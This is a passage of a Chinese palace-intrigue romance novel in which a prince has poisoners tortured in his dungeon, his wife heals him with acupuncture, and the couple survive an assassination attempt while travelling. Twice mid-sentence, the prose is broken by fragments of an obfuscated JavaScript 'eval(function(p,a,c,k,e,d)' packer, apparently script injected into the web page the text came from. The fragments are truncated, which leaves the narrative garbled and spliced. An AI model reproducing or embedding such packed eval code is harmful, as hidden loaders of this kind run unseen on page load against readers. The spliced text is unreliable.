“殿、殿下……” 他身后的几人见状赶忙跟着磕头。 凤燕回不为所动,又唤了卫雨,这次杜清烟终于瞧清楚卫雨究竟长什么模样。 冷面如松,不苟言笑,见她打量他,卫雨目光不闪不避也打量着她。 卫雨面冷,胆子也比卫风大许多,而他只对凤燕回恭恭敬敬。 “主子,属下还在柴房墙壁中发现一些可疑之物,是否请医官查验?” 卫雨呈上一个布袋,里面装着两只小陶罐。 凤燕回接过只随意扫了一眼便将布袋给了杜清烟,她十分自然接过从布袋中取出卫雨所言可疑之物。 两只陶罐中装的皆是墨绿色的不明汁液,其中一瓶只余半罐。 杜清烟凑近陶罐轻嗅,而后与凤燕回对视一眼。 凤燕回面色微冷,眼神也凌厉起来。 “卫雨,将人带下去审问。” 杜清烟还想看场好戏,却突然听凤燕回吩咐卫雨将人带下,她一脸哀怨。 “殿下……” 凤燕回敛去眸中冷意,似笑非笑问:“想看?” 杜清烟正憋闷得慌,她也想亲眼瞧瞧凤燕回手底下的人都有哪些手段。 而这几日与凤燕回相处她总觉他并非明面上看着不争不抢软弱可欺。 见她点头,凤燕回的神情有些难人寻味,他只扬了扬手,卫雨便令人将几人拖到地牢去。 听到‘地牢’二字,跪着的几人慌忙磕头求饶,声音因恐惧而颤抖,求饶声一声接一声。 “求殿下开恩!” “殿下,冤枉啊……” 杜清烟见状更是对所谓的地牢好奇,定要一探究竟。 随着凤燕回再次扬手,几人被堵了嘴拖走了,呜咽求饶声渐小,其中竟有人吓失禁了,蜿蜒小道上留下一片湿意。 这地牢究竟有多吓人,杜清烟实在想亲眼瞧一瞧。 “殿下可否带我长长见识?”她抱着凤燕回的胳膊摇晃,抛媚眼撒娇。 凤燕回受不住,无奈失笑,带着她去了地牢。 地牢的位置并不隐蔽,就在后院的枯井旁,地牢入口的机关就在井口处,也不知凤燕回是真的全然信任她,亦或是别的缘由,竟半点也不防着她。 自入口处进入,沿着石阶而下,阴冷之气渐浓,杜清烟望着走在前的挺拔的背影不禁有些出神。 外人眼中冷清寂寥的皇子府究竟藏了多少秘密。 凤燕回若真深藏不漏,又为何会如此轻易便信了她,她的身份除了是云将军的外甥女,还是杜相的女儿。 此时她深刻意识到凤燕回的心思她并未猜透。 越往深处走,哀嚎惨叫声越大,杜清烟不由得打了个寒颤,凤燕回似有所觉停下,回头看她。 “怕了?” 他嘴角擒着笑,杜清烟却觉得莫名有种毛骨悚然的阴寒。 她笑着摇了摇头:“有殿下在,我自是不怕的。” 凤燕回朝她伸出手,她微愣后露出恰到好处的微笑,将手搭在他手心,由他牵着往里走。 地牢有两间房,一间刑房,一间关押受罚之人,两间房之间只隔着一道铁栅栏,关押之人可清楚目睹刑房中人是如何受刑的。 方才被拖下来的几人其中一人已在刑房的刑架上受刑,正是几人中领头的那个黝黑的中年男子,对其行刑的正是卫雨。 即便身形魁梧,此刻在卫雨手下也是出气多进气少,其余几人缩在另外一间牢房中瑟瑟发抖。 一招杀鸡儆猴,不出片刻几人全招了。 这几人是府中的厨子,受刑的中年男子叫秦大牛与府中的老管事沾了些远亲,早些年在酒楼掌勺,去年靠着老管事的关系入府,成了厨房里的大管事,排挤走了府中原来的厨子,后来被分到厨房的婢子仆从在他面前无不以他为尊,小心翼翼。 而柴房中搜出来的那两罐不明汁液 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杜清烟被他的肃杀之气惊到,却被他固在怀中动弹不得,后背是温热的,脖子却凉飕飕的。 狠厉果决,心有谋算,这才是真正的六皇子。 回神后,她软了身子依靠在他怀中,温声软语道:“殿下所言极是,如此这般方能永绝后患。” 许是她的话取悦了凤燕回,他牵着她离开了地牢,在即将踏上石阶时地牢内又传出几声惨叫,随后地牢内陷入沉寂。 回到屋里,凤燕回沾湿帕子,动作轻缓为她擦干净脸上的血迹,他看她时眼神始终温和。 “方才吓到了?”他笑问。 杜清烟诚实点头,埋怨道:“下回殿下先告知一声,我好站远些,沾了血终归是吓人的。” 凤燕回道:“只要浓浓乖些,我如何舍得让浓浓见血呢。” 他的这一声“浓浓”听在她耳中比他唤她夫人更令她惊恐。 “殿下怎知……” 凤燕回轻笑:“林书琰唤你浓浓,为夫自然也唤得。” 这话可谓是醋意浓浓,杜清烟在心中暗骂林书琰。 她解释道:“我出生时浓雾蔽日,后来母亲便为我取乳名浓浓,书琰与我自幼相熟,常唤我乳名,殿下不必介怀。” 得了她的解释,凤燕回面色愉悦。 “为夫当真是羡慕林书琰,若无诸多变故,为夫与夫人定然会是青梅竹马,两小无猜。” 眼前眉眼如画的男子仿佛真是她的新婚夫君一般,拈酸吃醋也这般理直气壮。 可杜清烟心中明白,温情脉脉的不过是假象。 她莞尔道:“殿下为何不问今日那汤里与那两只陶罐中装的是何物?” 凤燕回淡淡道:“里面装何物无关紧要,捉贼拿赃,我说是什么便是什么,那几人并不无辜,他们之中有有人听命于太子,有人听命于淑妃璃王,也有听命于别人的,先前留着他们是未将那些人放在眼里,可如今你嫁了我,这些人将主意打到你身上他们便留不得了。” 如她所想,他早有谋算,不过是在等待时机罢了,而她便是这个恰到好处的时机。 他说是为她,这话她信三分,事实上那下在汤里的和陶罐中是同一种药汁,确实是冲着她来的。 杜清烟拿走凤燕回手中的帕子,随手扔进铜盆中,她往前靠在他怀中,双手环住他的腰。 “殿下,有人不想我为你诞下子嗣,眼下敌暗我明,防不胜防,府中一众婢子仆从该换一换了。” 听在凤燕回耳中便只有“我为你诞下子嗣”这一句一直在回荡,他僵了一瞬,左臂抬起,紧紧将她拥住,力道压得她几乎要喘不上气。 “一切听从夫人安排。” 杜清烟自他怀中仰起脸,突然笑道:“还有一事得事先知会殿下一声。” 凤燕回微微低头,笑吟吟问:“何事?” 杜清烟笑容愈深,眼中满是狡黠。 “今夜将再为殿下施针药浴,一如洞房那夜。” 听她提起洞房花烛夜,他最先想起的便是那方盖在他腰腹间绣着野鸭打架的喜帕。 后知后觉明白过来她的言外之意是他今夜将在她面前宽衣解带,如那夜那般不着寸,缕,凤燕回俊脸染上绯色,耳尖也红了。 “一切……听从夫人安排。” 他眼眸微闪,却依然是这句话。 13. 以身相许 夕阳余晖渐渐隐没在夜幕之中,檐下灯笼散发着昏黄之光,悠然静谧,虫鸣之声被一阵脚步声打断,庭院中一队护卫每人手上提着一只木桶,井然有序往偏房中的浴桶加热水。 杜清烟将卫风与卫雨唤至跟前,低声与他们各自交代一些事宜。 “卫雨,今夜于殿下而言至关重要,无论如何要守好府邸,特别是这方院落需得加强护卫,不许有任何差池。” 不待卫雨答话,她又对卫风道:“卫风留在屋内,我为殿下施针时为我搭把手。” 卫风、卫雨二人神色肃穆,异口同声应道:“属下明白。” 杜清烟又与二人叮嘱了几句后便让他们下去准备,随后又与绿竹耳语两句,绿竹点头退了出去。 而只着一袭单薄里衣的凤燕回坐在一旁椅子上看着她忙活。 自她嫁他后,这府中也多了几分人气。 她与那些养在深闺的名门闺秀不同,有着玲珑心思,灵动狡黠,恣意鲜活,有时如春风温柔却令人捉摸不透。 有时他能感觉到她对他事事上心,关怀备至,有时他又觉得她仿若虚幻,他无论如何也留不住。 他甚至会为此感到惶恐不安。 而他与她成婚不过短短数日而已。 杜清烟安排妥当一切,这才转身看他,见他紧盯着她,神情专注,她疑惑低头瞧了瞧自身,并无不妥之处,她若有所思看他一眼,含笑迎上前去。 “殿下似乎有心事。”她甚是善解人意,上前还为凤燕回整理衣襟。 却是越理越乱,直至他的衣襟半敞,露出健硕胸膛,她才作罢。 胸口的凉意令凤燕回无法忽视,低头瞧了一眼,随手拢了拢。 “夫人待为夫体贴入微,事事亲力亲为,为夫甚是感动。” 杜清烟见他笑,嘴角不自觉也弯了弯,手又伸向他的衣襟,朝他眨眼,满是期待。 “那殿下可要好好报答我才是。” 凤燕回捉住她的手,俊眉轻挑,语气平静问:“夫人想要为夫如何报答?” 杜清烟不怀好意一笑:“救命之恩,殿下以身相许罢。” 凤燕回状做认真思索一番,笑了起来,“夫人言之有理,夫人于为夫有再造之恩,为夫便是以身相许也不足以报答。” 言罢,他松了手,杜清烟的手便顺着衣襟探入,五指微张成掌,覆于他胸口处。 他胸膛温热,而她手微凉,肌肤相触瞬间,似有若无的酥麻之感自后脊处生起,他绷直了身子。 杜清烟却打趣道:“殿下不必惊慌,我要的报答不急于一时,毕竟来日方长。” 凤燕回不自在地别开眼不看她,掩唇低咳两声,俊颜上染上一抹薄红。 好在此刻屋内只有他们二人,倒也不算在人前丢脸。 杜清烟收回手后,回到桌前,打开绿竹事先备好的包袱,拿了一只绿瓷瓶,又拿出银针包。 准备就绪,她给了凤燕回一个眼神,示意他自行宽衣解带进浴桶。 当着她的面宽衣解带并非头一遭,方才又遭她调戏,此时凤燕回有意扳回一局,不再忸怩,慢条斯理解开衣带,宽松里衣滑落。 杜清烟看得眼都直了,在他的手落在他腰上欲解裤头时捂着脸背过身去,假装整理包袱中的瓶瓶罐罐。 凤燕回暗自勾唇,衣衫尽褪后跨入浴桶中。 听到动静后杜清烟这才转身看了眼,拿着绿瓷瓶走向浴桶,在离浴桶一步远的地方站定,她目不斜视将绿瓷瓶中的药液倒进浴桶中。 浴桶里顿时有‘咕嘟咕嘟’的冒泡声,浴桶中的水随之变成墨色,袅袅白烟自浴桶中升起,一股浓浓的药味充斥在屋里。 不多时,凤燕回便觉得一股暖意自身外涌入,整个身子暖了起来,便是连右臂也有了些知觉,而这股热意越来越烫,他额头很快布满细汗。 杜清烟见状唤卫风进屋。 一直守在门外的卫风听令进屋,快速将房门合上,转身瞧见浴桶冒着白烟,而浴桶的主子只有肩以上的位置露在外,主子满头大汗,却隐忍着不发一声。 卫风快步奔过去,焦急看向杜清烟。 “夫人,属下该如何做?” 杜清烟打开银针包,头也未抬。 “稍后我为殿下施针时,若殿下受不住动了,你只需将殿下按住即可。” 见她胸有成竹,卫风暗自松了口气。 “属下明白了。” 杜清烟未在多言,手上银针一根接一根落在凤燕回的头上,她全神贯注,神色略显凝重。 随着她下针越多,凤燕回脸上的汗珠越来越多,顺着脸颊滴落浴桶中,隐约能听到水滴入水的声音。 凤燕回紧闭双眸,薄唇紧抿,身上有些颤动,他却咬牙一声不吭。 杜清烟看得心疼,轻声道:“殿下若是难受,可大声叫出来。” 凤燕回缓了缓,双目紧闭,哑声道:“无妨,你尽管下针。” 杜清烟此时额上亦是沁出细密汗珠,脖颈和而后也有些湿意。 听到凤燕回所言,她轻笑道:“殿下能忍常人所不能忍,熬过此遭,日后必能达成所愿。” 凤燕回嘴角动了动,却未再接话。 卫风始终在一旁守着,听着自家主子与夫人此时竟还有心思谈笑,心中的担忧少了几分,也对自家这位主母由衷的佩服。 论起来,自家这位主母不过二八年华,却有如此高超的医术,就连齐回春齐院首也对殿下之症束手无策,只能开些缓解疼痛的方子,这两年殿下因着右臂时常疼痛遭了不少罪,如今可算是好了。 卫风暗暗发誓,若夫人真能治好殿下,他以后定誓死效忠夫人,如同忠心于殿下这般。 一时间,屋中寂静,凤燕回略为急促粗重的呼吸声就听得真切了。 渐渐地浴桶中白雾散去,浴桶中黑乎乎的水也渐归于平静,凤燕回胸口的起伏也渐渐恢复如常,呼吸平缓了许多。 半个时辰后,杜清烟让卫风将凤燕回的右臂抬起,搭在浴桶外备好的小桌上,她轻柔地为凤燕回擦去手臂上的湿意,随后在他手臂上扎针。 眼下凤燕回已陷入呈昏睡状态,但感知还在,她落针时他右臂动了动,卫风眼疾手快按住他的手,面上却是止不住的惊喜。 “夫人,方才殿下的手动了!” 杜清烟远比卫风镇定许多,只是笑了笑,并未多言,事实上她此刻也是虚软得厉害,连说话劲儿都得省着用。 两个时辰后,杜清烟憋着的一口气总算松了,撤下凤燕回身上的最后一根针,她身形一晃,下意识扶住桌子才勉强站稳。 她后背早已汗湿,此刻浑身发凉,她勉强打起精神叮嘱卫风将凤燕回从浴桶中抬出来,再换一桶温水为凤燕回沐浴后将他送回寝房内。 杜清烟交代好一切,踏着虚浮的步伐往外走,屋外的绿竹听到动静,将门推开,快速上前将她扶住。 “姑娘,可还好?”绿竹满眼心疼,心里是有些埋怨六殿下的。 施针十分消耗元气,这一番折腾下来,她家姑娘需要休养好几日方能够养回来,可遭罪了。 杜清烟由绿竹扶着回了屋,屋中早已备好沐浴的浴桶,水温正好,她在浴桶中泡了片刻,昏昏欲睡时被绿竹叫醒,扶她出来,为她擦拭更衣。 沐浴之后,身上舒爽,杜清烟打着呵欠走进内室,走向大床,倒头就睡。 绿竹在外间安排人将浴桶抬出去后,仔细关上房门落了栓,这才进了内间,见自家姑娘四仰八叉沉睡过去,不禁叹气,上前为自家姑娘盖好被子后便拿了个垫子坐在床边守着。 杜清烟这一觉睡到日上三竿,无人吵她,她睡够了才醒的。 心中念着杜清若与林姑姑,她不再赖床,利落起身,唤绿竹进屋询问。 绿竹见她面色有些苍白,忍不住抱怨道:“姑娘为六殿下做到这一步,不知六殿下日后可会记着姑娘的好。” 杜清烟知绿竹心性,不以为意道:“如今我们与殿下是一条船上的人,殿下无恙,我们方能无忧。” 绿竹张了张嘴,但什么也没说,就是气呼呼的。 杜清烟摇头失笑:“林姑姑与阿若可是过来了。” 绿竹这才笑了起来。 “林姑姑与若姑娘来了有一会儿了,此刻正在花厅与林公子说话呢。” 林书琰竟也来了,杜清烟倒有些诧异,他定不是无缘无故来的,想必是出了什么事,所以才亲自前来寻她。 待杜清烟梳洗后自屋中出来,在门外与凤燕回遇上,凤燕回看上去气色好了很多,见她脸色依然有些差,眼中满是愧色。 “辛苦了。” 说话间他已然握住她的手,手心不若先前那样凉了。 杜清烟笑看他一眼,主动牵着他往外走,“殿下可要记着我的好。” 凤燕回握紧了她的手,郑重道:“自身不敢忘的,我会时刻牢记于心。” 杜清烟笑出声来:“好啦我的殿下,我们之间的账回头再好好算,可别叫林姑姑他们久等了。” 凤燕回道:“方才我先去与林姑姑见过了,不必着急。” 林春曾救过他和他母后,有着这一层关系在,他无论如何也不会怠慢林春。 杜清烟点了点头,脚下步子却越来越急。 “殿下若有事便先去忙,我自行去见林姑姑他们即可。” 明日便要启程去平城了,他定是有许多事需要提前安排得。 凤燕回应了一声,陪她行至花厅外才松开她的手。 “若有事可到书房寻我。”他叮嘱道。 杜清烟疾步朝花厅里走,背对着他扬了扬手,示意她知道了。 始终跟在两人身后的绿竹在凤燕回远去时还盯着他的身影许久。 这几日她时常见二人亲昵牵手,想到杜清烟的身份,她担忧地蹙起了眉。 杜清烟走进来时,林书琰正凑在林春跟前说着什么,逗得林春与杜清若直笑,听到脚步声后林书琰惊喜回头。 “浓浓,你可算是来了,听绿竹说你昨夜累着了,还以为今日怕是见不到你了呢。” 林书琰快步奔至杜清烟跟前,笑得十分暧昧。 杜清烟白他一眼:“当着姑姑与阿若的面你可别胡说八道,担心姑姑收拾你。” 林春是林书琰的母亲,但这些年母子俩聚少离多,林春如今可舍不得揪他耳朵了。 但幼时调皮捣蛋被母亲揍的记忆历历在目,林书琰在自己老母亲跟前还是不敢造次的。 “是是是,为兄知错了。”他笑嘻嘻讨饶,又凑近她耳边,低低说了句话。 杜清烟并不意外,对他点了点头,而后越过他,去到林春跟前,欢喜地唤了声姑姑。 林春一脸慈爱的笑,拉住她的手,欣慰道:“浓浓长大了,青出于蓝,我也放心了。” 这一句“青出于蓝”另有深意,只有杜清烟和林书琰懂其中的深意。 杜清若站起身来到杜清烟身旁,仔细打量了她一番,担忧道:“姐姐,你脸色怎如此差?” 杜清烟拍了拍她的手,微笑安慰道:“这几日有些劳累,歇几日便好了,阿若不必为我担忧。” 林书琰并未久留,他亲自走一趟,只是将云瑶悄悄离京之事告知杜清烟,他不想母亲担心,便只与杜清烟知会一声。 待他离开后,杜清烟与林春与杜清若便聊起了家常,说是家常,也只是太子的家常。 杜清若自嫁入东宫那夜便未曾与太子同房过,而太子日日留宿侧妃房中,那二人才像正经夫妻,而太子被罚闭门思过后更是整日只与那位侧妃厮混在一起,如胶似漆,恩爱得紧。 这些杜清烟一清二楚,她只是心疼杜清若。 本不该卷进来的杜清若终究是入了局,太子凤燕霖并非良人,虽说杜清若心中对太子并无情意,可终究是连累她嫁入东宫受了委屈。 杜清烟与二人说了她明日要与凤燕回离京去平城之事,林姑姑倒算镇定,杜清若却急了。 “姐姐,如今皆传平城将乱,若平城那位真的反了,你与六殿下岂不是很危险,你们……” 杜清烟瞧她快急哭了,赶忙安抚道:“阿若莫怕,此事殿下早有安排,我与殿下会平安归来的。” 平时她这样说,杜清若定然是信的,可眼下局势危急,又岂止是平城不安全,她与凤燕回这一路定然是凶险万分。 杜清若虽久居深闺,对外面的事知之甚少,可她不傻,知晓平城若是乱了会有什么样的严重后果。 可杜清烟也说这事也是陛下授意的,皇命不可违,此事已无转圜余地。 杜清若离开时眼中含泪,万般不舍,千叮咛万嘱咐杜清烟定要护好自身,早些归来。 送林姑姑与杜清若离开后,杜清烟喝了碗粥便又回屋歇下了。 昨夜为凤燕回施针确实损耗不少元气,明日又将远行,她需得好好歇一歇。 待她再醒时已是夜里,凤燕回躺在她身侧,察觉她翻身,他伸手将她揽入怀中,动作娴熟。 “饿不饿?”他温声问。 杜清烟如实道:“饿了,嘴里寡淡,想吃些口味重的。” 凤燕回低低笑出声,捏了捏她的手,“你歇着,我亲自去厨房瞧瞧。” 他并未与她说他也未曾用晚膳,只等她醒来想陪她一起。 厨房里膳食是温着的,她想吃随时有吃的。 杜清烟仍旧有些倦乏,也懒得折腾,应了一声后裹着被子将脸也盖住。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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杜清烟教唆道:“殿下,回头得敲打敲打书琰,让他行事收敛些。” 凤燕回闻言一顿,侧目看她,“你真如此想的?” 杜清烟道:“殿下过于仁善,助长了他的嚣张气焰,这要是换做别人,殿下就该怀疑他别有用心往府中安插眼线了。” 凤燕回唇角微弯,心情颇为愉悦。 “我以为你会为他辩解一二。” 杜清烟疑惑道:“为何要为他辩解?” 凤燕回眼中笑意不减,只道:“林公子此番也是好意,正好咱们缺厨子,这几位厨子手艺不比宫中御厨逊色,回头我命人给林公子送些回礼。” 杜清烟默默咽下还未咀嚼的米饭,暗自松了口气,不由得又暗骂了林书琰几句。 翌日一早,杜清烟与凤燕回一同踏上了去平城的路,随行护卫有数十人,大半是陛下安排的宫中侍卫,卫风与卫雨也随行。 杜清烟只带了绿竹,她们二人乘马车,凤燕回骑马,一行人浩浩荡荡出京,想低调也不成。 离京后,前两日还算安稳,路上并无刺客截杀,第三日一行人在一个名叫平安镇的小镇子落脚歇息时在驿站遇伏。 杜清烟与绿竹同住一屋,凤燕回在隔壁屋,夜深人静时,杜清烟她们住的那间屋顶传来动静。 绿竹耳力极好,听到异响,猛地抱住杜清烟一个翻滚躲开了自屋顶射像木床的弩箭。 原本昏昏欲睡的杜清烟在翻滚时磕到手肘,疼得她直呲牙。 绿竹赶忙将她扶起,此时屋外的护卫听到动静冲了进来,为首的正是卫雨。 “夫人。” 卫雨与几名护卫护着杜清烟与绿竹退到屋外,而隔壁屋中也传来打斗声。 杜清烟心下一紧,对卫雨道:“殿下的安危要紧,无论遇到何种情况,务必以殿下为先。” 卫雨却道:“属下只听命于殿下,殿下命属下保护夫人。” 杜清烟抿了抿唇,绿竹直接朝卫雨翻了个白眼。 “一根筋。” 有她在,谁也别想伤姑娘一根汗毛,况且用脚趾也能想到这些刺客是冲着六殿下来的。 杜清烟退到卫雨身后,转身看了眼楼下,楼下的护卫与杀手交上手,而驿站中除了打斗声外再无其他声音。 显然这驿站中并无其他客人留宿。 她担心凤燕回,想去隔壁屋瞧瞧,被绿竹一把拉住。 “姑娘,我先带你出去。” 杜清烟歇了去看凤燕回的心思,由绿竹护着往楼下走去。 绿竹弯腰拾起一个黑衣杀手尸体旁的长剑,耳朵微动,长剑往后一挑,一声惨叫声惊起,随后便是重物落地的声音。 这一幕恰好被护着凤燕回往她们这边而来的卫风瞧见,惊讶瞪了瞪眼。 但此时此刻也不容他多问,眼下最要紧的是确保自家殿下与夫人平安无恙。 杜清烟与凤燕回是在楼下会合的,绿竹与卫风护在两人身前,而凤燕回左手持剑,下意识将杜清烟护于身后。 刺客虽不少,但用不着凤燕回亲自出手,卫雨带着众护卫能解决。 将杜清烟护住,凤燕回回头,关切问:“可有受伤?” 杜清烟揉着尚有些酥麻的手肘,摇了摇头:“无事,有绿竹在,这些人伤不到我。” 凤燕回皱了皱眉,将她拉到身前,也顾不得许多,将她衣袖往上捋,仔细查看后发现只是手肘有些红,才真的放下心来。 半个时辰后,驿站中的打斗声彻底平息,近三十个刺客无一活口。 凤燕回让卫雨善后,带着杜清烟上楼,找了间干净的屋子歇下。 这一次二人同床共枕,经历这一遭,杜清烟饶是心态再好也无法再入眠。 凤燕回拥着她,轻声道:“绿竹身手不错。” 杜清烟并未继续隐瞒,解释了一番:“绿竹幼时流落街头,偶然被我所救,我外祖父有一挚友是江湖中有名的剑客,他见绿竹根骨极佳,便收绿竹为徒,毕生所学倾囊相授。” 凤燕回沉吟片刻,道:“那你呢?” 杜清烟心头一跳,默了默后才悠悠道:“我幼时身子骨弱,外祖父为保我性命煞费苦心,我跟在外祖父身边,耳濡目染,略通些岐黄之术。” 她这样的本事说是略通,倒真是十分谦虚了。 凤燕回手臂上微微用力,拥紧了她,温声道:“之后的路会越来越难行,绿竹身手不错,有她护着你,我倒也安心些。” 杜清烟翻身与他面对,往他怀里钻,一手抚上他的心口,一手搂住他的腰。 “殿下不必为我担忧,我这人打小惜命,逃命时跑得最快。” 凤燕回低笑:“如此甚好。” 杜清烟摸了摸他的心口,手感不错,有些流连忘返。 “殿下可知这里有什么?” 她在他心口的位置轻轻戳了戳。 14. 交心 凤燕回猛地握住她的指尖,几乎将她捏疼了。 房中烛火跳跃,他的脸庞在微光中忽明忽暗,他的声音带着压抑。 “此言何意?” 杜清烟抽出手,在他心口的位置轻轻抚摸,“殿下平日里当是有所察觉的,每当月圆之夜,殿下的心口便会隐隐作痛,时日久了痛感会越发强烈,,想来是受右臂痛感所蒙蔽,殿下并未意识到严重性。” 凤燕回身子微僵,松开她,起身坐在床上,捂了捂眼,再开口时声音沙哑低沉。 “齐回春是父皇心腹,我以为他即便治不好我的右臂,应当不至于想要我的命,父皇他……” 杜清烟不知皇帝与他父子间的事,但齐回春是皇帝最信任的御医,皇帝让齐回春为他诊治,究竟是真的想救他,亦或是…… 有些事不敢往深处想,却又不得不想。 天家父子,君臣在前,父子在后,正所谓君心难测,皇帝究竟知不知道凤燕回的身体状况这不好说。 虎毒尚且不食子,更何况皇帝也没有非得杀凤燕回的理由。 又或是齐回春被别人收买,暗中对凤燕回下手,即便不是齐回春的手笔,那齐回春为凤燕回看诊许久,怎么瞧不出来异样。 而凤燕回始终被蒙在鼓里,可见齐回春不可信,又或是皇帝也不可信。 杜清烟也坐起身,与他对望,幽光中她仿佛看到了他眼中的痛色。 是了,此事被她揭开,他无论如何想都是难以接受的,若是皇帝不知情还好,若是皇帝知情却瞒着他,那他又会如何想呢。 杜清烟轻轻抱住他,给了他温暖,让他冰凉的心渐渐回暖。 她柔声道:“有我在,殿下定能长命百岁。” 凤燕回抬起右臂,紧紧将她抱住,声音带着颤意:“若是你未及时发现,我还能活多久?” 杜清烟直言:“少则三个月,多则半年,但若那日加了料的鸡汤殿下喝上小半个月,那殿下怕是只能活月余。” 凤燕回怒极反笑,自嘲道:“你瞧,我的至亲想要我的命,可我天生命硬,待我好之人一个个离我而去,想害我之人却如何也杀不死我,便是我的父亲也……” 他顿了顿,接着道:“父皇若是不知情,我还有一丝期盼,若连父皇也想要我死,那我是不是就不该活着。” 杜清烟轻拍他的背,安抚道:“殿下,你还有我,在平城枉死的五万云家军还等着你为他们报仇呢。” 闻言,凤燕回身形一怔,理智回笼,他不在自怨自艾。 “你说的是,我还有许多事未完成,就这样死了去到地下有何颜面面对那些故人。” 他轻轻摩挲着她的脸颊,低头与她额头相抵,“为了你我也会好好活着的。” 杜清烟心绪涌动,双手捧住他的脸,微微仰头柔软的唇瓣贴在薄唇上。 凤燕回的身子又是一僵,手上用力固住她的脖子,几乎是瞬间便加深了这个吻。 于这事上,他似乎能无师自通,辗转轻吮满足不了,他含住她的唇瓣轻咬,她吃痛微张开嘴,他趁机夺门而入,攻城略地。 这场腥风血雨之中,她与他并肩前行,与他相携并进,有她伴在左右,他不再是孤单一人, 一吻作罢,两人气息纠缠,急促喘息,凤燕回的吻落在她嘴角,缓缓下移在她颈间,下巴搁在她肩头,慢慢平复下来。 杜清烟脸热得像着火般滚烫,好在幽暗的烛光看不清她的面色,她先将凤燕回按回床上,随后也在他身旁躺下,拉过被子盖在两人身上。 “明日一早还得赶路,殿下早些歇着。” 凤燕回虽无睡意,却未在招惹她,只是将她拥入怀中,闭目养神。 翌日,一行人继续赶路,此行到平城,蛮大,满打满算也要半个月的行程,可这一路不会太平,后面还不知会遇到什么险境,他们得敢在平城生乱前想法子化解困局。 平城之行,皇帝将重任交给他,杜清烟觉得皇帝对凤燕回也许并不是刻意为难,反倒是像是在有意磨炼他。 这两年凤燕回颓废度日,不理世事,待皇帝亦是冷淡疏离,想来皇帝是有意修复父子间的关系。 那日入宫她观皇帝与贵妃对凤燕回的态度,瞧不出是不是在故意假装,但她觉得贵妃可信。 贵妃早年在王府为奴,后成为皇帝的房中人,此后多年一直伴随皇帝身边,那时皇帝还是闲散王爷,先帝是皇帝一母同胞的亲兄长,故而那时的皇帝是众多王爷中最悠闲自在的。 杜清烟也曾从长辈们口中得知二十年前的皇帝是怎样的一个逍遥王爷。 性情豁达,待人宽厚,知行至善,这些词都是长辈们对二十年前还是闲散王爷的皇帝的夸赞。 后来皇帝被推上高位亦是被逼无奈,一切便是在先帝故去后开始改变的。 曾与皇帝交好的世家子弟,大多在皇帝登位后倾尽全力扶持相护,云家便是其中之一。 云震霄与皇帝自幼一起长大,在先帝圣体有恙时,云家便察觉到了,先帝子嗣稀薄,太子才三岁,作为先帝唯一胞弟的皇帝被委以重任,先帝曾秘密召见云震霄,托付了许多,其中便有让云震霄全力扶持皇帝的密令。 故而云震霄弃笔从戎,投身沙场,为好友稳固江山,抵御外敌,护佑凤家江山。 可一个朝堂又岂止只有忠义,还藏着尔虞我诈,争权夺利。 一个手握兵权的大将军功高震主遭人忌惮,也许皇帝念及旧情不会下黑手,可那些窝藏祸心之人又岂会仍有云家独大。 便是先皇后的母族亦是如此,在先皇后诞下嫡子后,皇后的母族却退隐避世,这其中究竟藏了多少阴谋,他们这些后背无从得知。 这一夜,两个各有所思。 杜清烟觉得前路艰难,可她向来不怕这些,而凤燕回却另有思索。 第二日一早,凤燕回与她一同上了马车,自打知晓绿竹身手后,凤燕回便让卫风给绿竹备了匹马,他则与杜清烟同乘马车。 马车上,凤燕回道:“我们改道去庆州城。” 正喝水的杜清烟呛了一口,咳了起来。 “咳 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母皇在世时,父皇很是依赖她,母后去世后,父皇一夜间苍老,自母后去世后,父皇原本健朗的身子也越来越弱。 他不信父皇对母后的情是假的,他记得幼时父皇对他说过,若是可以,愿来世生在普通人家,父皇只想与母后做一对平凡夫妻,不被今世这些牵绊拖累。 那时父皇说至高无上的权利只是一种拖累,为了江山社稷,为君者总有许多不得已。 凤燕回想起了两年前父皇问他想不想要太子之位,他没有应答,那时父皇叹了口气,说这么多年一直为册立他为太子是母后所求。 母后不愿他如父皇一般被责任裹挟,一生困于高位之上,他的母后只愿他活得恣意。 可如今他不得不争,他若不争,他守不住他在意的一切,护不住他在意的人。 他还要为云家讨公道,为数万云家军报仇雪恨。 “浓浓,我如今一无所有,你可愿与我一同开辟一条道路出来?” 他将手递到她面前。 杜清烟瞧了瞧手中的水囊,又瞧了瞧他的手,叹了口气,将水囊放下,双手捧住他的手。 她并未应答他的话,而是笑盈盈道:“我与殿下说一说我乳名的由来罢。” 凤燕回点头:“你说,我听着。” 杜清烟将头靠在他肩上,悠悠道:“我母亲生我时恰逢浓雾蔽日,阴雨绵绵,明明是清晨,天却仿佛黑了一般,我母亲疼了几个时辰才生下我,我出生后,浓雾尽散,云收雨歇彩虹凌空,母亲为我取名为霓,乳名浓浓,寓意为雨后初晴,拨云见日。” 凤燕回低头看她,与她对视片刻,他不愿提及旧事徒增伤怀,却又想知关于她的一切。 “我听母后说起过,你在云家祖宅出生,后来你母亲带你回了相府,为你取名清烟。” 杜清烟呢喃道:“清烟,清风起,尘烟尽散,这便是她的……” 后半句话声音太低,凤燕回未听清,只听清‘清风起,尘烟散尽’这一句。 15. 夫君 前尘如烟,随风而散,清烟之名由此而来。 凤燕回默默听着,从她的只言片语中已将事情脉络串联起来。 她出生时随母姓云,取名霓,乳名浓浓,寓意为拨云见日,怀着期许,向往美好。 而在她出生数月后回到相府,她的母亲云锦绣却未相府任何人提及她的名字,而是为她另取了名字。 想来那时云锦绣已对杜柏谦彻底死了心。 凤燕回亦是不喜‘清烟’二字的,他觉得不吉利,亦不适合她。 “日后我便唤你浓浓可好?” 杜清烟直起身,嫣然浅笑,方才的惆怅已消散无踪,“殿下方才可是心疼我了?” 她双眸灵动,一副娇俏模样,一颦一笑皆入他心间,又故意勾他心弦。 凤燕回自诩克制,可在她面前却屡屡崩盘,不堪一击。 她像是上天专门派来收拾他的。 他不答,只温声道:“你我本就是夫妻,出门在外,浓浓该唤为夫为夫君才是。” 